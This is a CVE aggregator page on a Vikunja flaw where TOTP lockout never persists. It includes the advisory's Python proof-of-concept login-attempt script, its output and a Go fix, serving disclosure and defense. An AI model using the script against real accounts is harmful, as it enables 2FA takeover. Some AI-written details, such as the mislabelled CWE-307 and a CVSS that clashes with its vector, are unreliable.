Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Brute-force prevention, rate limiting
|
| Impact | CVSS 5.9 with AV:N/AC:H/PR:N indicates network-accessible unauthenticated attack with high complexity, conferring confidentiality impact without integrity or availability loss. The high attack complexity reflects the need for an attacker to obtain the target user's password separately (via phishing, credential stuffing, or breach), then brute-force the TOTP code. EPSS probability and active exploitation status are not provided, but the proof-of-concept demonstrates trivial reproducibility on Vikunja v2.2.2. The per-IP rate limit of 10 requests per minute is not a sufficient control against distributed attackers; modern cloud infrastructure enables parallel attempts from hundreds of IPs. Critically, the TOTP code space is only 1 million (6-digit decimal), and with parallelization an attacker could exhaust this within hours. This is a high real-world priority despite the moderate CVSS score because: (1) the precondition (password theft) is common in breach scenarios, (2) the exploit is trivial and no special tools are needed, (3) rate limiting is bypassable, and (4) 2FA defeat completely undermines that security layer. Organizations with TOTP-protected accounts on vulnerable Vikunja versions face direct account compromise risk. |
| Exploit ScenarioDerived | An attacker obtains a Vikunja user's password via phishing or a credential database breach. The attacker then initiates login with the valid username and password but submits invalid TOTP passcodes (e.g., 000000) in rapid succession. The rate limit of 10 failed attempts per minute per IP is easily circumvented by using a botnet or cloud services with multiple IP ranges. Each failed attempt increments the in-memory counter and triggers account lockout logic, but the StatusAccountLocked database write is rolled back by the login handler. After approximately 100,000 requests (1 million possible 6-digit codes divided by distributed parallelization), the attacker will eventually submit a code that matches the current TOTP value (or cycles through all possibilities), gain access, and compromise the account. A proof-of-concept Python script demonstrating this attack is provided in the CVE description, confirming successful login with valid TOTP after 12+ failed attempts on v2.2.2. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 10, 2026
Vikunja API brute-forces TOTP codes by exploiting a database transaction rollback bug that prevents account lockout persistence. When TOTP validation fails, the login handler rolls back the database session containing the failed-attempt counter increment and account lock status, leaving the lockout mechanism non-functional while per-IP rate limiting can be bypassed via distributed attack. Unauthenticated remote attackers who possess a user's password can exhaust the 6-digit TOTP code space (only 1 million combinations) and gain unauthorized access. Patch is available as of Vikunja v2.3.0.
RemediationAI
Vendor-released patch: Vikunja v2.3.0 and later. The fix, implemented in commit 6ca0151d02fa0e8c7e2181ab916a28e08caaaec8 and merged via PR #2576, modifies HandleFailedTOTPAuth to create and commit its own independent database session for the account lockout operation, ensuring the StatusAccountLocked write persists regardless of the caller's transaction rollback. Immediate action: upgrade all Vikunja instances to v2.3.0 or later. If immediate patching is not feasible, consider temporarily disabling TOTP enforcement or implementing additional per-user IP allowlist controls and monitoring failed TOTP attempts in application logs to detect brute-force activity. Detailed patching guidance is available at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Vikunja is a Go-based API application for task/project management that implements TOTP two-factor authentication. The vulnerability resides in the interaction between the login handler (pkg/routes/api/v1/login.go) and the TOTP authentication module (pkg/user/totp.go). When a TOTP passcode validation fails, the login handler invokes HandleFailedTOTPAuth to increment an in-memory failed-attempt counter and, after 10 attempts, write a StatusAccountLocked flag to the user record via database session s. However, the login handler unconditionally calls s.Rollback() on all error paths, which reverses the database write of the account lock status. The in-memory counter increments correctly and subsequent calls execute the lockout code, but the database mutation is discarded on each failure. This is a CWE-307 (Improper Restriction of Rendered UI Layers or Frames) related to authentication bypass through insufficient lockout enforcement. The per-IP rate limit of 10 requests per minute provides some friction but is bypassable via distributed source IPs. The CPE is pkg:go/code.vikunja.io_api.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
Summary
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
Details
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
if err != nil {
if user2.IsErrInvalidTOTPPasscode(err) {
user2.HandleFailedTOTPAuth(s, user)
}
_ = s.Rollback()
return err
}HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Proof of Concept
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
import requests, time, pyotp
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")
# 200 - account was never lockedOutput:
Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
Impact
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Recommended Fix
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
_ = lockoutSession.Rollback()
return
}
_ = lockoutSession.Commit()--- *Found and reported by aisafe.io*
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Related Vulnerabilities in Vikunja Multiple Authorization and Injection
View all 11Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-21422
GHSA-fgfv-pv97-6cmj
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB